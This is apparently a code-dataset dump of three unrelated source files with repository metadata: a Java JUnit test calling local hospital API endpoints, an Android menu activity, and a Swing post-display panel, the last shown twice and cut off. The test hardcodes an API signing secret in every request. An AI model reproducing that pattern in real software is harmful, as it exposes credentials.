"context": "oolCurriculumInfo2Test() {\n\t\tString url = \"http://127.0.0.1:8080/MCHH-api/api/searchHospitalSchoolCurriculumI",
"end": 3914,
"score": 0.9309049248695374,
"start": 3905,
"tag": "IP_ADDRESS",
"value": "127.0.0.1"
},
{
"context": "rchHospitalMessageTest() {\n\t\tString url = \"http://127.0.0.1:8080/MCHH-api/api/searchHospitalMessage\";\n\t}\n\t\n\t/",
"end": 5277,
"score": 0.9831466674804688,
"start": 5268,
"tag": "IP_ADDRESS",
"value": "127.0.0.1"
},
{
"context": "archHospitalReportTest() {\n\t\tString url = \"http://127.0.0.1:8080/MCHH-api/api/searchHospitalReport\";\n\t}\n}\n",
"end": 5432,
"score": 0.9774499535560608,
"start": 5423,
"tag": "IP_ADDRESS",
"value": "127.0.0.1"
}
] | null |
[] |
package com.threefiveninetong.mchh.appHospital;
import java.util.HashMap;
import java.util.Map;
import org.junit.Test;
import com.threefiveninetong.mchh.appHospital.vo.resp.HospitalSearchCharacteristicServiceInfoRespVo;
import com.threefiveninetong.mchh.appHospital.vo.resp.HospitalSearchFirstPageInfoRespVo;
import com.threefiveninetong.mchh.appHospital.vo.resp.HospitalSearchInfoRespVo;
import com.threefiveninetong.mchh.appHospital.vo.resp.HospitalSearchSchoolCurriculumInfo2RespVo;
import com.threefiveninetong.mchh.appHospital.vo.resp.HospitalSearchSchoolCurriculumInfoRespVo;
import com.threefiveninetong.mchh.core.vo.BaseVo;
import com.threefiveninetong.mchh.util.APISignUtils;
import com.threefiveninetong.mchh.util.HttpUtil;
public class AppHospitalControllerTest {
/**
* 会员关联医院
*/
@Test
public void affiliatedHospitalTest() {
String url = "http://127.0.0.1:8080/MCHH-api/api/affiliatedHospital";
Map<String, String> params = new HashMap<String, String>();
params.put("terminalNo", "ffff;MCHHI;sfds;wererw;1234");
params.put("memberId", "123213213");
params.put("hospitalId", "ffff;MCHHI;sfds;wererw;1234");
params.put("treatmentNo", "ffff;MCHHI;sfds;wererw;1234");
params.put("archivesCode", "ffff;MCHHI;sfds;wererw;1234");
params.put("idNo", "ffff;MCHHI;sfds;wererw;1234");
params.put("hospitalName", "ffff;MCHHI;sfds;wererw;1234");
params.put("sign", APISignUtils.getSign(params, "1d0a49CbD359F533c9121C1Ee9cBE4FC"));
BaseVo vo = HttpUtil.postFormDataJson(url, params, BaseVo.class);
System.out.println("状态码:"+vo.getStatusCode()+" 提示:"+vo.getMessage());
}
/**
* 查询医院首页展示信息
*/
@Test
public void searchHospitalFirstPageInfoTest() {
String url = "http://127.0.0.1:8080/MCHH-api/api/searchHospitalFirstPageInfo";
Map<String, String> params = new HashMap<String, String>();
params.put("terminalNo", "ffff;MCHHI;sfds;wererw;1234");
params.put("memberId", "123213213");
params.put("sign", APISignUtils.getSign(params, "1d0a49CbD359F533c9121C1Ee9cBE4FC"));
HospitalSearchFirstPageInfoRespVo vo = HttpUtil.postFormDataJson(url, params, HospitalSearchFirstPageInfoRespVo.class);
System.out.println("状态码:"+vo.getStatusCode()+" 提示:"+vo.getMessage());
}
/**
* 查询医院特色服务信息
*/
@Test
public void searchHospitalCharacteristicServiceInfoTest() {
String url = "http://127.0.0.1:8080/MCHH-api/api/searchHospitalCharacteristicServiceInfo";
Map<String, String> params = new HashMap<String, String>();
params.put("terminalNo", "ffff;MCHHI;sfds;wererw;1234");
params.put("memberId", "123213213");
params.put("hospitalId", "123213213");
params.put("sign", APISignUtils.getSign(params, "1d0a49CbD359F533c9121C1Ee9cBE4FC"));
HospitalSearchCharacteristicServiceInfoRespVo vo = HttpUtil.postFormDataJson(url, params, HospitalSearchCharacteristicServiceInfoRespVo.class);
System.out.println("状态码:"+vo.getStatusCode()+" 提示:"+vo.getMessage());
}
/**
* 查询医院孕妇学校课程时间列表
*/
@Test
public void searchHospitalSchoolCurriculumInfoTest() {
String url = "http://127.0.0.1:8080/MCHH-api/api/searchHospitalSchoolCurriculumInfo";
Map<String, String> params = new HashMap<String, String>();
params.put("terminalNo", "ffff;MCHHI;sfds;wererw;1234");
params.put("memberId", "123213213");
params.put("hospitalId", "123213213");
params.put("sign", APISignUtils.getSign(params, "1d0a49CbD359F533c9121C1Ee9cBE4FC"));
HospitalSearchSchoolCurriculumInfoRespVo vo = HttpUtil.postFormDataJson(url, params, HospitalSearchSchoolCurriculumInfoRespVo.class);
System.out.println("状态码:"+vo.getStatusCode()+" 提示:"+vo.getMessage());
}
/**
* 查询医院孕妇学校课程信息
*/
@Test
public void searchHospitalSchoolCurriculumInfo2Test() {
String url = "http://127.0.0.1:8080/MCHH-api/api/searchHospitalSchoolCurriculumInfo2";
Map<String, String> params = new HashMap<String, String>();
params.put("terminalNo", "ffff;MCHHI;sfds;wererw;1234");
params.put("memberId", "123213213");
params.put("hospitalId", "123213213");
params.put("date", "123213213");
params.put("sign", APISignUtils.getSign(params, "1d0a49CbD359F533c9121C1Ee9cBE4FC"));
HospitalSearchSchoolCurriculumInfo2RespVo vo = HttpUtil.postFormDataJson(url, params, HospitalSearchSchoolCurriculumInfo2RespVo.class);
System.out.println("状态码:"+vo.getStatusCode()+" 提示:"+vo.getMessage());
}
/**
* 查询医院详情信息
*/
@Test
public void searchHospitalInfoTest() {
String url = "http://127.0.0.1:8080/MCHH-api/api/searchHospitalInfo";
Map<String, String> params = new HashMap<String, String>();
params.put("terminalNo", "ffff;MCHHI;sfds;wererw;1234");
params.put("hospitalId", "123213213");
params.put("sign", APISignUtils.getSign(params, "1d0a49CbD359F533c9121C1Ee9cBE4FC"));
HospitalSearchInfoRespVo vo = HttpUtil.postFormDataJson(url, params, HospitalSearchInfoRespVo.class);
System.out.println("状态码:"+vo.getStatusCode()+" 提示:"+vo.getMessage());
}
/**
* 查询会员的医院通知
*/
@Test
public void searchHospitalMessageTest() {
String url = "http://127.0.0.1:8080/MCHH-api/api/searchHospitalMessage";
}
/**
* 查询会员的医院检查报告
*/
@Test
public void searchHospitalReportTest() {
String url = "http://127.0.0.1:8080/MCHH-api/api/searchHospitalReport";
}
}
| 5,723 | 0.712356 | 0.653769 | 127 | 42.141731 | 37.513615 | 151 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 1.874016 | false | false |
8
|
541357aa0ba09255632c66bd7c7b3691518ef738
| 2,156,073,589,653 |
b792722989c7e0015d47b7426e332b5e89af69aa
|
/POS_Version2/app/src/main/java/com/example/pos_version2/Category/categoryMenu.java
|
5ab178d518c0ce6c39542074eebe419f1755a8a8
|
[] |
no_license
|
Agha-Basit-Khan/MC_Apps
|
https://github.com/Agha-Basit-Khan/MC_Apps
|
c9a4b36ddc90c8c74fbcf9e382e877c768530062
|
7aaef237d015c57841bf8d3eb845f6d4db570453
|
refs/heads/master
| 2023-05-11T01:30:13.708000 | 2021-06-07T21:43:37 | 2021-06-07T21:43:37 | 344,367,404 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null |
package com.example.pos_version2.Category;
import androidx.appcompat.app.AppCompatActivity;
import android.content.Intent;
import android.os.Bundle;
import android.view.View;
import android.widget.Button;
import com.example.pos_version2.MainActivity;
import com.example.pos_version2.R;
public class categoryMenu extends AppCompatActivity {
Button b1,b2,b3;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_category_menu);
b1=findViewById(R.id.btn1);
b2=findViewById(R.id.btn2);
b3=findViewById(R.id.btn3);
b1.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
Intent i = new Intent(categoryMenu.this,Fruits.class);
startActivity(i);
}
});
b2.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
Intent i = new Intent(categoryMenu.this,Vegetables.class);
startActivity(i);
}
});
b3.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
Intent i = new Intent(categoryMenu.this, MainActivity.class);
startActivity(i);
}
});
}
}
|
UTF-8
|
Java
| 1,427 |
java
|
categoryMenu.java
|
Java
|
[] | null |
[] |
package com.example.pos_version2.Category;
import androidx.appcompat.app.AppCompatActivity;
import android.content.Intent;
import android.os.Bundle;
import android.view.View;
import android.widget.Button;
import com.example.pos_version2.MainActivity;
import com.example.pos_version2.R;
public class categoryMenu extends AppCompatActivity {
Button b1,b2,b3;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_category_menu);
b1=findViewById(R.id.btn1);
b2=findViewById(R.id.btn2);
b3=findViewById(R.id.btn3);
b1.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
Intent i = new Intent(categoryMenu.this,Fruits.class);
startActivity(i);
}
});
b2.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
Intent i = new Intent(categoryMenu.this,Vegetables.class);
startActivity(i);
}
});
b3.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
Intent i = new Intent(categoryMenu.this, MainActivity.class);
startActivity(i);
}
});
}
}
| 1,427 | 0.618781 | 0.608269 | 46 | 30.043478 | 21.274557 | 77 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 0.608696 | false | false |
8
|
7853c16b933142890178be5bc249da1121af005a
| 24,421,184,105,519 |
735830ed4eca72b77745e1127f620993b90c7b5c
|
/webtechApps/webtech/ayobot/LoggedInUI.java
|
0568abdce52034357e2e8c793bf8f0707b3d30ec
|
[
"LicenseRef-scancode-warranty-disclaimer"
] |
no_license
|
jobic10/fitechbot
|
https://github.com/jobic10/fitechbot
|
46e0565c23f009992f764fb7d7cfade0e7cfc8cf
|
9d3b110ca9534a21495986df635cb7cb4d40294a
|
refs/heads/master
| 2023-01-19T00:22:01.679000 | 2020-12-01T17:22:56 | 2020-12-01T17:22:56 | 192,976,993 | 1 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null |
/*
* To change this license header, choose License Headers in Project Properties.
* To change this template file, choose Tools | Templates
* and open the template in the editor.
*/
package ayobot;
import java.awt.BorderLayout;
import java.awt.Color;
import javax.swing.JComponent;
import javax.swing.JTextPane;
/**
*
* @author CountryBoy
*/
public class LoggedInUI extends javax.swing.JPanel
{
/**
* Creates new form loggedInUI
* @param uri
*/
WebTechMainClass webTech2;
public LoggedInUI(String uri,WebTechMainClass ins)
{
webTech2=ins;
initComponents(uri);
}
/**
* This method is called from within the constructor to initialize the form.
* WARNING: Do NOT modify this code. The content of this method is always
* regenerated by the Form Editor.
*/
@SuppressWarnings("unchecked")
// <editor-fold defaultstate="collapsed" desc="Generated Code">//GEN-BEGIN:initComponents
public void initComponents(String uri) {
WebTechMainClassActionListener actionLis=new WebTechMainClassActionListener(webTech2);
buttonGroup1 = new javax.swing.ButtonGroup();
jPanelMedia = new javax.swing.JPanel();
mpics = new GetThumb(uri,300,300);
jPanelTopControlsCont = new javax.swing.JPanel();
//thumbnail = new javax.swing.JLabel();
thumbnail =new GetThumb(uri,30,30);
jLabelFullname = new javax.swing.JLabel();
jLabelTime = new javax.swing.JLabel();
jScrollPane1 = new javax.swing.JScrollPane();
jTextPanePost = new javax.swing.JTextPane();
jPanel1 = new javax.swing.JPanel();
jButtonEditPst = new javax.swing.JButton();
jButtonEditPst.addActionListener(actionLis);
jRadioButtonFollowersOnly = new javax.swing.JRadioButton();
jRadioButtonFollowersOnly.setSelected(true);
jButtonCmtPst = new javax.swing.JButton();
jRadioButtonPublic = new javax.swing.JRadioButton();
jButtonDelPst = new javax.swing.JButton();
jButtonDelPst.addActionListener(actionLis);
jRadioButtonOnlyMe = new javax.swing.JRadioButton();
setBackground(new java.awt.Color(255, 255, 255));
setBorder(javax.swing.BorderFactory.createEtchedBorder());
setAutoscrolls(true);
setPreferredSize(new java.awt.Dimension(440, 650));
jPanelMedia.setToolTipText("panel for media i.e pix and videos");
jPanelMedia.setPreferredSize(new java.awt.Dimension(100, 300));
//jPanelMedia.setAlignmentX(CENTER_ALIGNMENT);
//jPanelMedia.setAlignmentY(CENTER_ALIGNMENT);
/*
javax.swing.GroupLayout jPanelMediaLayout = new javax.swing.GroupLayout(jPanelMedia);
jPanelMedia.setLayout(jPanelMediaLayout);
jPanelMediaLayout.setHorizontalGroup(
jPanelMediaLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.TRAILING)
.addGap(0, 0, Short.MAX_VALUE)
);
jPanelMediaLayout.setVerticalGroup(
jPanelMediaLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.TRAILING)
.addGap(0, 77, Short.MAX_VALUE)
);
*/
//jPanelMedia.add(mpics).getAlignmentX();
//System.out.println(jPanelMedia.getAlignmentX());
jPanelMedia.add(mpics);
jPanelMedia.add(new GetThumb(uri,300,300));
jPanelTopControlsCont.setPreferredSize(new java.awt.Dimension(200, 52));
jLabelFullname.setFont(new java.awt.Font("Arial", 1, 13)); // NOI18N
jLabelFullname.setText("Super Administrator Added A New Video");
jLabelFullname.setAutoscrolls(true);
jLabelFullname.setPreferredSize(new java.awt.Dimension(200, 15));
jLabelTime.setBackground(new java.awt.Color(255, 255, 255));
jLabelTime.setFont(new java.awt.Font("Arial", 0, 14)); // NOI18N
jLabelTime.setForeground(new java.awt.Color(102, 102, 102));
jLabelTime.setText(" 1 month 12 days 10 minutes ago on Sunday: 2018-09-16 ");
jLabelTime.setAutoscrolls(true);
jLabelTime.setPreferredSize(new java.awt.Dimension(200, 17));
//thumbnail.setIcon(new javax.swing.ImageIcon("C:\\xampp\\htdocs\\fitechbot\\webtechApps\\webtech\\thumbnail.jpg"));
javax.swing.GroupLayout jPanelTopControlsContLayout = new javax.swing.GroupLayout(jPanelTopControlsCont);
jPanelTopControlsCont.setLayout(jPanelTopControlsContLayout);
jPanelTopControlsContLayout.setHorizontalGroup(
jPanelTopControlsContLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(jPanelTopControlsContLayout.createSequentialGroup()
.addContainerGap()
.addComponent(thumbnail, javax.swing.GroupLayout.PREFERRED_SIZE, 30, javax.swing.GroupLayout.PREFERRED_SIZE)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addGroup(jPanelTopControlsContLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addComponent(jLabelFullname, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
.addComponent(jLabelTime, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE))
.addContainerGap())
);
jPanelTopControlsContLayout.setVerticalGroup(
jPanelTopControlsContLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(jPanelTopControlsContLayout.createSequentialGroup()
.addContainerGap()
.addGroup(jPanelTopControlsContLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.TRAILING)
.addComponent(jLabelTime, javax.swing.GroupLayout.PREFERRED_SIZE, 14, javax.swing.GroupLayout.PREFERRED_SIZE)
.addGroup(jPanelTopControlsContLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.TRAILING)
.addComponent(jLabelFullname, javax.swing.GroupLayout.Alignment.LEADING, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
.addComponent(thumbnail, javax.swing.GroupLayout.Alignment.LEADING)))
.addContainerGap())
);
jTextPanePost.setFont(new java.awt.Font("Arial", 0, 14)); // NOI18N
jTextPanePost.setText("James_Gosling_2008\nJames Gosling initiated the Java language project in June 1991 for use in one of his many set-top box projects. The language, initially called Oak after an oak tree that stood outside Gosling's office, also went by the name Green and ended up later being renamed as Java, from a list of random words. Sun released the first public implementation as Java 1.0 in 1995. It promised Write Once, Run Anywhere (WORA), providing no-cost run-times on popular platforms. On 13 November 2006, Sun released much of Java as free and open source software under the terms of the GNU General Public License (GPL). On 8 May 2007, Sun finished the process, making all of Java's core code free and open-source, aside from a small portion of code to which Sun did not hold the copyright.");
jScrollPane1.setViewportView(jTextPanePost);
jTextPanePost.setEditable(false);
jButtonEditPst.setText("edit");
buttonGroup1.add(jRadioButtonFollowersOnly);
jRadioButtonFollowersOnly.setText("followers only");
jButtonCmtPst.setText("comment");
buttonGroup1.add(jRadioButtonPublic);
jRadioButtonPublic.setText("public");
jButtonDelPst.setText("delete");
buttonGroup1.add(jRadioButtonOnlyMe);
jRadioButtonOnlyMe.setText("only me");
javax.swing.GroupLayout jPanel1Layout = new javax.swing.GroupLayout(jPanel1);
jPanel1.setLayout(jPanel1Layout);
jPanel1Layout.setHorizontalGroup(
jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(jPanel1Layout.createSequentialGroup()
.addContainerGap()
.addComponent(jButtonDelPst, javax.swing.GroupLayout.DEFAULT_SIZE, 98, Short.MAX_VALUE)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addComponent(jButtonEditPst, javax.swing.GroupLayout.DEFAULT_SIZE, 98, Short.MAX_VALUE)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addComponent(jButtonCmtPst, javax.swing.GroupLayout.DEFAULT_SIZE, 98, Short.MAX_VALUE)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addComponent(jRadioButtonOnlyMe, javax.swing.GroupLayout.DEFAULT_SIZE, 91, Short.MAX_VALUE)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addComponent(jRadioButtonFollowersOnly, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addComponent(jRadioButtonPublic, javax.swing.GroupLayout.DEFAULT_SIZE, 91, Short.MAX_VALUE)
.addContainerGap())
);
jPanel1Layout.setVerticalGroup(
jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(jPanel1Layout.createSequentialGroup()
.addContainerGap()
.addGroup(jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
.addComponent(jRadioButtonPublic)
.addComponent(jRadioButtonFollowersOnly)
.addComponent(jRadioButtonOnlyMe)
.addComponent(jButtonDelPst)
.addComponent(jButtonEditPst)
.addComponent(jButtonCmtPst))
.addContainerGap())
);
jPanel1Layout.linkSize(javax.swing.SwingConstants.VERTICAL, new java.awt.Component[] {jRadioButtonOnlyMe, jRadioButtonFollowersOnly, jRadioButtonPublic});
jPanel1Layout.linkSize(javax.swing.SwingConstants.VERTICAL, new java.awt.Component[] {jButtonDelPst, jButtonEditPst, jButtonCmtPst});
javax.swing.GroupLayout layout = new javax.swing.GroupLayout(this);
this.setLayout(layout);
layout.setHorizontalGroup(
layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(layout.createSequentialGroup()
.addContainerGap()
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addComponent(jScrollPane1, javax.swing.GroupLayout.PREFERRED_SIZE, 0, Short.MAX_VALUE)
.addComponent(jPanelMedia, javax.swing.GroupLayout.DEFAULT_SIZE, 597, Short.MAX_VALUE)
.addComponent(jPanelTopControlsCont, javax.swing.GroupLayout.DEFAULT_SIZE, 597, Short.MAX_VALUE)
.addComponent(jPanel1, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE))
.addContainerGap())
);
layout.setVerticalGroup(
layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(layout.createSequentialGroup()
.addContainerGap()
.addComponent(jPanelTopControlsCont, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addComponent(jScrollPane1, javax.swing.GroupLayout.PREFERRED_SIZE, 197, javax.swing.GroupLayout.PREFERRED_SIZE)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addComponent(jPanelMedia, javax.swing.GroupLayout.DEFAULT_SIZE, 77, Short.MAX_VALUE)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addComponent(jPanel1, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
.addGap(10, 10, 10))
);
}// </editor-fold>//GEN-END:initComponents
// Variables declaration - do not modify//GEN-BEGIN:variables
public javax.swing.ButtonGroup buttonGroup1;
public javax.swing.JButton jButtonDelPst;
public javax.swing.JButton jButtonEditPst;
public javax.swing.JButton jButtonCmtPst;
public javax.swing.JLabel jLabelFullname;
public javax.swing.JLabel jLabelTime;
public javax.swing.JPanel jPanel1;
public javax.swing.JPanel jPanelMedia;
public javax.swing.JComponent mpics;
public javax.swing.JPanel jPanelTopControlsCont;
public javax.swing.JRadioButton jRadioButtonOnlyMe;
public javax.swing.JRadioButton jRadioButtonFollowersOnly;
public javax.swing.JRadioButton jRadioButtonPublic;
public javax.swing.JScrollPane jScrollPane1;
public javax.swing.JTextPane jTextPanePost;
//public javax.swing.JLabel thumbnail;
public javax.swing.JComponent thumbnail;
// End of variables declaration//GEN-END:variables
}
|
UTF-8
|
Java
| 13,303 |
java
|
LoggedInUI.java
|
Java
|
[
{
"context": ";\nimport javax.swing.JTextPane;\n\n/**\n *\n * @author CountryBoy\n */\npublic class LoggedInUI extends javax.swing.J",
"end": 346,
"score": 0.9993944764137268,
"start": 336,
"tag": "USERNAME",
"value": "CountryBoy"
},
{
"context": "0, 14)); // NOI18N\n jTextPanePost.setText(\"James_Gosling_2008\\nJames Gosling initiated the Java la",
"end": 6497,
"score": 0.6907363533973694,
"start": 6492,
"tag": "NAME",
"value": "James"
},
{
"context": " jTextPanePost.setText(\"James_Gosling_2008\\nJames Gosling initiated the Java language project in June 1991 ",
"end": 6525,
"score": 0.9973713755607605,
"start": 6512,
"tag": "NAME",
"value": "James Gosling"
}
] | null |
[] |
/*
* To change this license header, choose License Headers in Project Properties.
* To change this template file, choose Tools | Templates
* and open the template in the editor.
*/
package ayobot;
import java.awt.BorderLayout;
import java.awt.Color;
import javax.swing.JComponent;
import javax.swing.JTextPane;
/**
*
* @author CountryBoy
*/
public class LoggedInUI extends javax.swing.JPanel
{
/**
* Creates new form loggedInUI
* @param uri
*/
WebTechMainClass webTech2;
public LoggedInUI(String uri,WebTechMainClass ins)
{
webTech2=ins;
initComponents(uri);
}
/**
* This method is called from within the constructor to initialize the form.
* WARNING: Do NOT modify this code. The content of this method is always
* regenerated by the Form Editor.
*/
@SuppressWarnings("unchecked")
// <editor-fold defaultstate="collapsed" desc="Generated Code">//GEN-BEGIN:initComponents
public void initComponents(String uri) {
WebTechMainClassActionListener actionLis=new WebTechMainClassActionListener(webTech2);
buttonGroup1 = new javax.swing.ButtonGroup();
jPanelMedia = new javax.swing.JPanel();
mpics = new GetThumb(uri,300,300);
jPanelTopControlsCont = new javax.swing.JPanel();
//thumbnail = new javax.swing.JLabel();
thumbnail =new GetThumb(uri,30,30);
jLabelFullname = new javax.swing.JLabel();
jLabelTime = new javax.swing.JLabel();
jScrollPane1 = new javax.swing.JScrollPane();
jTextPanePost = new javax.swing.JTextPane();
jPanel1 = new javax.swing.JPanel();
jButtonEditPst = new javax.swing.JButton();
jButtonEditPst.addActionListener(actionLis);
jRadioButtonFollowersOnly = new javax.swing.JRadioButton();
jRadioButtonFollowersOnly.setSelected(true);
jButtonCmtPst = new javax.swing.JButton();
jRadioButtonPublic = new javax.swing.JRadioButton();
jButtonDelPst = new javax.swing.JButton();
jButtonDelPst.addActionListener(actionLis);
jRadioButtonOnlyMe = new javax.swing.JRadioButton();
setBackground(new java.awt.Color(255, 255, 255));
setBorder(javax.swing.BorderFactory.createEtchedBorder());
setAutoscrolls(true);
setPreferredSize(new java.awt.Dimension(440, 650));
jPanelMedia.setToolTipText("panel for media i.e pix and videos");
jPanelMedia.setPreferredSize(new java.awt.Dimension(100, 300));
//jPanelMedia.setAlignmentX(CENTER_ALIGNMENT);
//jPanelMedia.setAlignmentY(CENTER_ALIGNMENT);
/*
javax.swing.GroupLayout jPanelMediaLayout = new javax.swing.GroupLayout(jPanelMedia);
jPanelMedia.setLayout(jPanelMediaLayout);
jPanelMediaLayout.setHorizontalGroup(
jPanelMediaLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.TRAILING)
.addGap(0, 0, Short.MAX_VALUE)
);
jPanelMediaLayout.setVerticalGroup(
jPanelMediaLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.TRAILING)
.addGap(0, 77, Short.MAX_VALUE)
);
*/
//jPanelMedia.add(mpics).getAlignmentX();
//System.out.println(jPanelMedia.getAlignmentX());
jPanelMedia.add(mpics);
jPanelMedia.add(new GetThumb(uri,300,300));
jPanelTopControlsCont.setPreferredSize(new java.awt.Dimension(200, 52));
jLabelFullname.setFont(new java.awt.Font("Arial", 1, 13)); // NOI18N
jLabelFullname.setText("Super Administrator Added A New Video");
jLabelFullname.setAutoscrolls(true);
jLabelFullname.setPreferredSize(new java.awt.Dimension(200, 15));
jLabelTime.setBackground(new java.awt.Color(255, 255, 255));
jLabelTime.setFont(new java.awt.Font("Arial", 0, 14)); // NOI18N
jLabelTime.setForeground(new java.awt.Color(102, 102, 102));
jLabelTime.setText(" 1 month 12 days 10 minutes ago on Sunday: 2018-09-16 ");
jLabelTime.setAutoscrolls(true);
jLabelTime.setPreferredSize(new java.awt.Dimension(200, 17));
//thumbnail.setIcon(new javax.swing.ImageIcon("C:\\xampp\\htdocs\\fitechbot\\webtechApps\\webtech\\thumbnail.jpg"));
javax.swing.GroupLayout jPanelTopControlsContLayout = new javax.swing.GroupLayout(jPanelTopControlsCont);
jPanelTopControlsCont.setLayout(jPanelTopControlsContLayout);
jPanelTopControlsContLayout.setHorizontalGroup(
jPanelTopControlsContLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(jPanelTopControlsContLayout.createSequentialGroup()
.addContainerGap()
.addComponent(thumbnail, javax.swing.GroupLayout.PREFERRED_SIZE, 30, javax.swing.GroupLayout.PREFERRED_SIZE)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addGroup(jPanelTopControlsContLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addComponent(jLabelFullname, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
.addComponent(jLabelTime, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE))
.addContainerGap())
);
jPanelTopControlsContLayout.setVerticalGroup(
jPanelTopControlsContLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(jPanelTopControlsContLayout.createSequentialGroup()
.addContainerGap()
.addGroup(jPanelTopControlsContLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.TRAILING)
.addComponent(jLabelTime, javax.swing.GroupLayout.PREFERRED_SIZE, 14, javax.swing.GroupLayout.PREFERRED_SIZE)
.addGroup(jPanelTopControlsContLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.TRAILING)
.addComponent(jLabelFullname, javax.swing.GroupLayout.Alignment.LEADING, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
.addComponent(thumbnail, javax.swing.GroupLayout.Alignment.LEADING)))
.addContainerGap())
);
jTextPanePost.setFont(new java.awt.Font("Arial", 0, 14)); // NOI18N
jTextPanePost.setText("James_Gosling_2008\n<NAME> initiated the Java language project in June 1991 for use in one of his many set-top box projects. The language, initially called Oak after an oak tree that stood outside Gosling's office, also went by the name Green and ended up later being renamed as Java, from a list of random words. Sun released the first public implementation as Java 1.0 in 1995. It promised Write Once, Run Anywhere (WORA), providing no-cost run-times on popular platforms. On 13 November 2006, Sun released much of Java as free and open source software under the terms of the GNU General Public License (GPL). On 8 May 2007, Sun finished the process, making all of Java's core code free and open-source, aside from a small portion of code to which Sun did not hold the copyright.");
jScrollPane1.setViewportView(jTextPanePost);
jTextPanePost.setEditable(false);
jButtonEditPst.setText("edit");
buttonGroup1.add(jRadioButtonFollowersOnly);
jRadioButtonFollowersOnly.setText("followers only");
jButtonCmtPst.setText("comment");
buttonGroup1.add(jRadioButtonPublic);
jRadioButtonPublic.setText("public");
jButtonDelPst.setText("delete");
buttonGroup1.add(jRadioButtonOnlyMe);
jRadioButtonOnlyMe.setText("only me");
javax.swing.GroupLayout jPanel1Layout = new javax.swing.GroupLayout(jPanel1);
jPanel1.setLayout(jPanel1Layout);
jPanel1Layout.setHorizontalGroup(
jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(jPanel1Layout.createSequentialGroup()
.addContainerGap()
.addComponent(jButtonDelPst, javax.swing.GroupLayout.DEFAULT_SIZE, 98, Short.MAX_VALUE)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addComponent(jButtonEditPst, javax.swing.GroupLayout.DEFAULT_SIZE, 98, Short.MAX_VALUE)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addComponent(jButtonCmtPst, javax.swing.GroupLayout.DEFAULT_SIZE, 98, Short.MAX_VALUE)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addComponent(jRadioButtonOnlyMe, javax.swing.GroupLayout.DEFAULT_SIZE, 91, Short.MAX_VALUE)
